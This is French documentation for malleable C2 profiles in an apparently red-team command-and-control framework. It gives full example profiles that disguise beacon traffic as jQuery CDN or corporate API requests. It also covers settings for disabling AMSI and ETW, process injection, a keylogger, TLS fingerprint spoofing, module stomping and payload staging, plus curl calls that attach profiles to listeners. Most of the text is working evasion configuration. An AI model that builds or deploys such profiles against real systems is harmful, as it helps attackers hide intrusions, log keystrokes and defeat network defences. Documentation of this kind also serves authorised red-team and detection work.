Profils C2 malléables¶
Les profils C2 malléables personnalisent la manière dont le trafic HTTP des beacons apparaît sur le réseau. En définissant les URI, les en-têtes, les paramètres, le codage du corps et la mise en forme des réponses, les profils fusionnent le trafic C2 avec l'activité Web légitime pour échapper à la détection basée sur le réseau.
Les profils sont appliqués aux listeners via les champs profile_name et profile_variant.
Syntaxe du profil¶
Les profils utilisent un langage de configuration personnalisé avec trois types d'instructions :
| Déclaration | Syntaxe | Objectif |
|---|---|---|
| Set | set key "value"; | Définir une option globale ou de bloc |
| Bloc | block-name { ... } | Définir un bloc nommé |
| Variante | block-name "variant" { ... } | Définir une variante nommée d'un bloc |
Commentaires utilisez # pour les commentaires de ligne. Les chaînes d'échappement prennent en charge \", \\, \n, \t, \r, \x## (hex) et \u#### (unicode).
Profil valide minimal¶
set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/api/v1/updates";
client {
header "Accept" "application/json";
metadata {
base64;
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/submit";
client {
header "Content-Type" "application/json";
id {
base64url;
header "X-Request-ID";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
Options globales¶
Ces options sont définies au niveau supérieur du profil à l'aide des instructions set key "value";.
Calendrier et comportement¶
| Options | Type | Par défaut | Description |
|---|---|---|---|
sleeptime | int | 60000 | Intervalle de rappel du beacon en millisecondes |
jitter | int | 0 | Pourcentage de gigue de rappel (0--100). Une gigue de 20 signifie que le sommeil réel varie de ±20 % de sleeptime. |
useragent | chaîne | Passer par défaut | En-tête HTTP User-Agent envoyé par le beacon |
sample_name | chaîne | -- | Nom d'affichage du profil |
data_jitter | int | 0 | Nombre d'octets aléatoires ajoutés aux réponses du serveur (0--N). Varie la taille des réponses pour échapper aux signatures basées sur la longueur. |
host_stage | bool | true | Indique s'il faut héberger le payload pour le staging HTTP. Définissez sur false pour désactiver les payloads stagés. |
Limites du tampon de tâches¶
| Options | Type | Par défaut | Description |
|---|---|---|---|
tasks_max_size | int | 1048576 | Taille maximale du tampon de tâche en octets (1 Mo) |
tasks_proxy_max_size | int | 921600 | Tampon de tâche proxy maximal pour HTTP/SMB/TCP (900 Ko) |
tasks_dns_proxy_max_size | int | 71680 | Tampon maximal des tâches de proxy DNS (70 Ko) |
Contrôle d'en-tête¶
| Options | Type | Par défaut | Description |
|---|---|---|---|
headers_remove | chaîne | -- | En-têtes HTTP séparés par des virgules à supprimer des requêtes client (par exemple, "X-Forwarded-For, Via") |
Empreinte digitale TLS¶
| Options | Type | Par défaut | Description |
|---|---|---|---|
tls_fingerprint | chaîne | -- | uTLS ClientHelloID prédéfini pour l’usurpation d’empreintes digitales TLS. Voir usurpation d'empreinte digitale TLS. |
Heures de travail (sommeil adaptatif)¶
| Options | Type | Par défaut | Description |
|---|---|---|---|
work_hours_start | int | 0 | Heure (0--23) de début des heures de bureau |
work_hours_end | int | 0 | Heure (0--23) de fin des heures de bureau |
off_hours_sleep_mult | float | 0 | Multiplicateur de sommeil hors heures de bureau. 0 désactive le sleep adaptatif. Une valeur de 3.0 triple l'intervalle de sommeil hors heures de bureau. |
work_hours_tz | chaîne | -- | Fuseau horaire IANA pour les heures de bureau (par exemple, "America/New_York") |
Blocs de transactions HTTP¶
Les blocs http-get et http-post définissent la manière dont le beacon communique avec le relais pour les rappels d'enregistrement et la soumission des résultats de tâches.
Structure des blocs¶
http-get {
set uri "/path1 /path2"; # Space-separated URIs (random selection)
set verb "GET"; # Optional, defaults to GET for http-get
client { ... }
server { ... }
}
http-post {
set uri "/api/v1/submit";
set verb "POST"; # Optional, defaults to POST for http-post
client { ... }
server { ... }
}
Bloc client¶
Le bloc client définit la manière dont le beacon façonne ses requêtes HTTP sortantes.
| Élément | Syntaxe | Utilisé dans | Description |
|---|---|---|---|
| En-tête | header "Name" "Value"; | http-get, http-post | Ajouter un en-tête de requête HTTP |
| Paramètre | parameter "Name" "Value"; | http-get, http-post | Ajouter un paramètre de requête URL |
| Métadonnées | metadata { ... } | http-get uniquement | Chaîne de transformation pour les métadonnées des beacons |
| ID | id { ... } | http-post uniquement | Chaîne de transformation pour l'ID de beacon |
| Sortie | output { ... } | http-post uniquement | Chaîne de transformation pour les données de sortie des tâches |
Exemple de client http-get :
client {
header "Accept" "application/json";
header "Accept-Language" "en-US";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
Exemple de client http-post :
client {
header "Content-Type" "application/json";
id {
base64url;
header "X-Request-ID";
}
output {
mask;
base64;
print;
}
}
Bloc serveur¶
Le bloc serveur définit la manière dont le relais façonne ses réponses HTTP.
| Élément | Syntaxe | Description |
|---|---|---|
| En-tête | header "Name" "Value"; | Ajouter un en-tête de réponse HTTP |
| Sortie | output { ... } | Chaîne de transformation pour les données de réponse (tâches envoyées au beacon) |
Exemple :
server {
header "Content-Type" "application/json";
header "Cache-Control" "no-cache";
output {
mask;
base64;
print;
}
}
Variantes¶
Les variantes créent des versions nommées des blocs http-get ou http-post. Sélectionnez une variante en définissant profile_variant sur le listener.
http-get "jquery" {
set uri "/jquery-3.6.0.min.js";
client {
header "Accept" "text/javascript";
metadata {
base64;
prepend "return-value=";
header "Cookie";
}
}
server {
header "Content-Type" "text/javascript";
output {
base64;
prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation */\n";
print;
}
}
}
Types de transformation¶
Les transformations sont les primitives de base de manipulation des données. Elles sont appliquées dans l’ordre (sens de codage) ou inversées (sens de décodage).
Transformations de données¶
| Transformer | Arguments | Description |
|---|---|---|
base64 | aucun | Encodage standard Base64 |
base64url | aucun | Encodage Base64 sécurisé pour les URL (pas de remplissage) |
netbios | aucun | Codage minuscule NetBIOS (chaque octet devient deux caractères) |
netbiosu | aucun | Codage majuscule NetBIOS |
mask | aucun | Masque XOR avec clé aléatoire de 4 octets (clé ajoutée à la sortie) |
prepend | "string" | Ajouter une chaîne fixe aux données |
append | "string" | Ajouter une chaîne fixe aux données |
strrep | "old" "new" | Remplacer la chaîne dans le binaire PE (transformations d'étape uniquement) |
strrepex | "DLL" "old" "new" | Remplacer la chaîne dans une section DLL spécifique (transformations d'étape uniquement) |
Instructions terminales¶
Chaque chaîne de transformation doit se terminer par une instruction terminale qui indique où placer les données transformées.
| Terminateur | Arguments | Description |
|---|---|---|
header "Name"; | Nom de l'en-tête | Stocker dans l'en-tête HTTP spécifié |
parameter "Name"; | Nom du paramètre | Stocker dans un paramètre de requête URL |
print; | aucun | Stocker dans le corps HTTP |
uri-append; | aucun | Ajouter au chemin de l'URI |
Chaîne de transformation annotée¶
metadata {
base64; # 1. Base64-encode the raw metadata bytes
prepend "session="; # 2. Prepend "session=" to create a cookie value
header "Cookie"; # 3. Place the result in the Cookie header
}
Sens d'encodage (envoi de beacon) : octets bruts → base64 → préfixer "session=" → stocké dans l'en-tête du cookie.
Direction du décodage (réception relais) : extraire de l'en-tête du cookie → supprimer le préfixe "session=" → décodage base64 → octets bruts.
Un autre exemple¶
output {
mask; # 1. XOR with random 4-byte key (key prepended)
base64; # 2. Base64-encode the masked data
append "<!-- page content -->"; # 3. Append HTML comment
print; # 4. Place in HTTP body
}
Autres blocs de profil¶
http-stager¶
Personnalise la transaction de staging HTTP (téléchargement du payload). Utilise la même structure client { } et server { } que http-get.
http-stager {
set uri_x86 "/api/v1/updates/x86";
set uri_x64 "/api/v1/updates/x64";
client {
header "Accept" "application/octet-stream";
}
server {
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
http-config¶
Configuration HTTP globale appliquée à toutes les transactions.
http-config {
set trust_x_forwarded_for "true";
set block_useragents "curl wget python";
set allow_useragents "*";
set headers "Date, Server, Content-Length";
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
}
| Options | Description |
|---|---|
trust_x_forwarded_for | Utilisez X-Forwarded-For pour la résolution IP du client |
block_useragents | Agents utilisateurs séparés par des espaces à rejeter |
allow_useragents | Agents utilisateurs séparés par des espaces pour permettre |
headers | Ordre des en-têtes de réponses séparés par des virgules |
https-certificate¶
Configuration du certificat TLS pour les listeners HTTPS.
https-certificate {
set C "US";
set CN "www.example.com";
set O "Example Corp";
set OU "IT Department";
set L "New York";
set ST "New York";
set validity "365";
set keystore "keystore.p12";
set password "changeit";
}
code-signer¶
Configuration de signature de code pour les binaires de payload.
code-signer {
set keystore "codesign.p12";
set password "changeit";
set alias "codesign";
set digest_algorithm "SHA256";
set timestamp "true";
set timestamp_url "http://timestamp.digicert.com";
}
processus d'injection¶
Contrôle la manière dont le beacon injecte le code dans les processus distants.
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "16384";
set startrwx "false";
set userwx "false";
transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}
execute {
CreateThread;
CreateRemoteThread;
SetThreadContext;
RtlCreateUserThread;
NtQueueApcThread-s;
}
}
| Options | Description |
|---|---|
allocator | Allocateur de mémoire : VirtualAllocEx ou NtMapViewOfSection |
bof_allocator | Allocateur BOF : VirtualAlloc, MapViewOfFile, HeapAlloc |
min_alloc | Taille d'allocation minimale en octets |
startrwx | Commencez avec les autorisations RWX (true/false) |
userwx | Utiliser les autorisations RWX pour la mémoire finale (true/false) |
use_driploading | Activer le chargement goutte à goutte pendant l'injection |
post-ex¶
Paramètres de comportement post-exploitation.
post-ex {
set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set etw_disable "true";
set pipename "msagent_##";
set keylogger "SetWindowsHookEx";
set cleanup "true";
}
| Options | Description |
|---|---|
spawnto_x86 / spawnto_x64 | Processus de sacrifice pour les opérations fork-and-run |
obfuscate | Obscurcir les chaînes en mémoire |
smartinject | Injection intelligente (éviter l’auto-injection) |
amsi_disable | Désactiver AMSI avant les opérations post-ex |
etw_disable | Désactiver ETW avant les opérations post-ex |
pipename | Nom du canal nommé pour la communication post-ex |
keylogger | Méthode Keylogger : SetWindowsHookEx ou GetAsyncKeyState |
cleanup | Nettoyer les DLL post-ex après l'exécution |
stage¶
Configuration de l'étape de payload contrôlant la façon dont la DLL de beacon est préparée et chargée.
stage {
set sleep_mask "true";
set syscall_method "Indirect";
set obfuscate "true";
set cleanup "true";
set userwx "false";
set rdll_loader "PrependLoader";
set stomppe "ntdll.dll";
set module_x64 "xpsservices.dll";
transform-x86 {
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
}
transform-x64 {
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
}
transform-obfuscate {
rc4 "64";
base64;
}
}
| Options | Description |
|---|---|
sleep_mask | Chiffrer le beacon en mémoire pendant le sommeil |
syscall_method | Méthode d'appel système : None, Direct, Indirect |
obfuscate | Obfusquer le stage du beacon |
cleanup | Nettoyer les artefacts de préparation |
rdll_loader | Chargeur réfléchissant : PrependLoader ou StompLoader |
module_x86 / module_x64 | DLL pour le piétinement de modules |
stomppe | PE à piétiner pour le chargement en mémoire |
data_store_size | Nombre d'entrées du magasin de données (16 par défaut) |
beacon_gate¶
Configure les API Windows acheminées via les appels système indirects de BeaconGate. Imbriqué à l'intérieur du bloc stage.
stage {
beacon_gate {
set mode "Core";
# Or add individual APIs:
# VirtualAlloc;
# CreateRemoteThread;
}
}
| Mode | API incluses |
|---|---|
None | Aucune API |
Core | VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, ReadProcessMemory, WriteProcessMemory, CloseHandle, DuplicateHandle, MapViewOfFile, UnMapViewOfFile, CreateFileMappingA, GetThreadContext, SetThreadContext, ResumeThread |
Comms | InternetOpenA, InternetConnectA |
Cleanup | ExitThread |
All | Noyau + Communications + Nettoyage |
Les noms d'API individuels peuvent être répertoriés sous forme d'instructions simples pour étendre la sélection de mode.
dns-beacon¶
Configuration du canal DNS. Consultez la page Listeners DNS pour plus de détails.
dns-beacon {
set dns_idle "0.0.0.0";
set dns_max_txt "252";
set dns_sleep "0";
set dns_ttl "1";
set beacon "d.example.com";
set get_A "d1.example.com";
set get_AAAA "d2.example.com";
set get_TXT "d3.example.com";
set put_output "d4.example.com";
}
beacon-smb¶
Paramètres P2P du canal nommé SMB. Consultez la page Listeners SMB pour plus de détails opérationnels.
tcp-beacon¶
Paramètres P2P de liaison TCP.
http-beacon¶
Sélection de la bibliothèque HTTP et exigences en matière de données.
http-beacon {
set library "wininet";
set data_required "true";
set data_required_length "100-200";
}
| Options | Description |
|---|---|
library | Bibliothèque HTTP : wininet (par défaut) ou winhttp |
data_required | Envoyer des données dans tous les rappels (remplissage si aucune donnée réelle) |
data_required_length | Fixe ou plage pour la longueur de données requise (par exemple, "100", "50-200") |
Exemples de profils annotés¶
Exemple 1 : profil jQuery CDN¶
Ce profil imite les modèles de trafic jQuery CDN avec des types de contenu appropriés, des en-têtes de mise en cache et une livraison de métadonnées basées sur les cookies.
# jQuery CDN Traffic Profile
# Mimics requests to a jQuery CDN for C2 communication
set sleeptime "30000";
set jitter "25";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
set data_jitter "50";
http-get "jquery" {
set uri "/jquery-3.6.0.min.js /jquery-3.6.0.slim.min.js /jquery-3.7.1.min.js";
client {
header "Accept" "text/javascript, application/javascript, */*";
header "Accept-Language" "en-US,en;q=0.9";
header "Referer" "https://code.jquery.com/";
metadata {
base64url;
prepend "__cf_bm=";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "public, max-age=31536000";
header "X-Content-Type-Options" "nosniff";
header "Access-Control-Allow-Origin" "*";
output {
mask;
base64;
prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";";
append "\n}(window);";
print;
}
}
}
http-post "jquery" {
set uri "/jquery-3.6.0.min.map /jquery-3.7.1.min.map";
client {
header "Content-Type" "application/json";
header "Accept" "application/json";
id {
base64url;
parameter "v";
}
output {
mask;
base64;
print;
}
}
server {
header "Content-Type" "application/json";
header "Cache-Control" "no-store";
output {
mask;
base64;
prepend "{\"version\":\"3.6.0\",\"sources\":[],\"mappings\":\"";
append "\"}";
print;
}
}
}
Exemple 2 : profil d'API intranet d'entreprise¶
Ce profil imite le trafic interne de l'API REST avec des payloads JSON, des en-têtes personnalisés et une prise en compte des heures de bureau.
# Corporate Intranet API Profile
# Mimics traffic to an internal telemetry/status API
set sleeptime "15000";
set jitter "30";
set useragent "TelemetryAgent/2.1 (Windows NT 10.0; Enterprise)";
# Work hours: 8 AM - 6 PM Eastern, triple sleep outside hours
set work_hours_start "8";
set work_hours_end "18";
set off_hours_sleep_mult "3.0";
set work_hours_tz "America/New_York";
# TLS fingerprint matching the User-Agent
set tls_fingerprint "chrome_auto";
http-get {
set uri "/api/v1/status /api/v1/health /api/v1/config";
client {
header "Accept" "application/json";
header "X-API-Version" "2.1";
header "X-Client-Platform" "win10-enterprise";
metadata {
base64url;
header "X-Session-Token";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "X-Request-Id" "a]b1c2d3-e4f5-6789-abcd-ef0123456789";
header "Cache-Control" "no-cache, no-store";
output {
mask;
base64;
prepend "{\"status\":\"ok\",\"timestamp\":\"2026-01-15T10:30:00Z\",\"data\":\"";
append "\",\"version\":\"2.1.0\"}";
print;
}
}
}
http-post {
set uri "/api/v1/telemetry /api/v1/events";
client {
header "Content-Type" "application/json";
header "X-API-Version" "2.1";
id {
base64url;
header "X-Correlation-ID";
}
output {
mask;
base64;
prepend "{\"events\":[{\"type\":\"metric\",\"payload\":\"";
append "\"}]}";
print;
}
}
server {
header "Content-Type" "application/json";
output {
mask;
base64;
prepend "{\"accepted\":true,\"id\":\"";
append "\"}";
print;
}
}
}
# Harden staging
http-stager {
set uri_x86 "/api/v1/updates/agent-x86";
set uri_x64 "/api/v1/updates/agent-x64";
client {
header "Accept" "application/octet-stream";
header "X-Update-Channel" "stable";
}
server {
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
# Post-exploitation OPSEC
post-ex {
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set pipename "telemetry_##";
}
Application de profils aux listeners¶
Définir un profil¶
Lors de la création ou de la mise à jour d'un listener, définissez le champ profile_name pour charger un profil et éventuellement profile_variant pour sélectionner une variante spécifique.
# Create listener with profile
curl -s -X POST https://stentor.app/api/v1/listeners \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "HTTPS with jQuery Profile",
"type": "https",
"relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"port": 443,
"profile_name": "jquery-cdn",
"profile_variant": "jquery"
}'
Mise à jour du profil d'un listener existant¶
curl -s -X PUT "https://stentor.app/api/v1/listeners/$LISTENER_ID" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"profile_name": "corporate-api",
"profile_variant": null
}'
La définition de profile_variant sur null utilise les blocs par défaut (non variantes).
Validation du profil
Les profils sont analysés au moment du chargement. Une syntaxe non valide génère des erreurs d'analyse qui sont renvoyées dans la réponse de l'API. Testez vos profils avant de les déployer sur des listeners de production.
Usurpation d’empreintes digitales TLS¶
L'option globale tls_fingerprint configure le beacon pour utiliser uTLS afin d'usurper l'empreinte TLS ClientHello, et faire apparaître la négociation TLS comme provenant d'un navigateur spécifique.
Préréglages disponibles¶
| Préréglage | Navigateur |
|---|---|
chrome_auto | Dernier Chrome (mise à jour automatique) |
chrome_120 | Chrome 120 |
chrome_131 | Chrome 131 |
chrome_133 | Chrome 133 |
firefox_auto | Dernier Firefox (mise à jour automatique) |
Utilisation :
set tls_fingerprint "chrome_auto";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
Cohérence
Faites toujours correspondre le tls_fingerprint au useragent. Un agent utilisateur Chrome avec une empreinte digitale Firefox TLS est un indicateur de détection. Utilisez chrome_auto avec un agent utilisateur Chrome ou firefox_auto avec un agent utilisateur Firefox.
Référence du bloc de profil¶
Référence rapide pour tous les blocs de profil pris en charge :
| Bloc | Objectif | Options clés |
|---|---|---|
http-get | Rappel d'enregistrement par beacon | uri, verb, client {}, server {} |
http-post | Soumission du résultat de la tâche | uri, verb, client {}, server {} |
http-stager | Téléchargement du payload stagé | uri_x86, uri_x64, client {}, server {} |
http-config | Paramètres HTTP globaux | trust_x_forwarded_for, block_useragents, headers |
https-certificate | Champs du certificat TLS | C, CN, O, OU, validity, keystore |
code-signer | Configuration de signature de code | keystore, password, alias, digest_algorithm |
process-inject | Comportement d'injection | allocator, min_alloc, startrwx, execute {} |
post-ex | Paramètres post-exploitation | spawnto_*, obfuscate, amsi_disable, pipename |
stage | Configuration de l'étape de payload | sleep_mask, syscall_method, rdll_loader, transform-* |
beacon_gate | Routage d'API via syscalls | mode (None/Core/Comms/Cleanup/All), API individuelles |
dns-beacon | Configuration du canal DNS | dns_idle, dns_max_txt, beacon, get_A, get_TXT |
smb-beacon | Configuration P2P du canal SMB | pipename, pipename_stager, smb_frame_header |
tcp-beacon | Configuration P2P de liaison TCP | tcp_port, tcp_frame_header |
http-beacon | Sélection de la bibliothèque HTTP | library, data_required, data_required_length |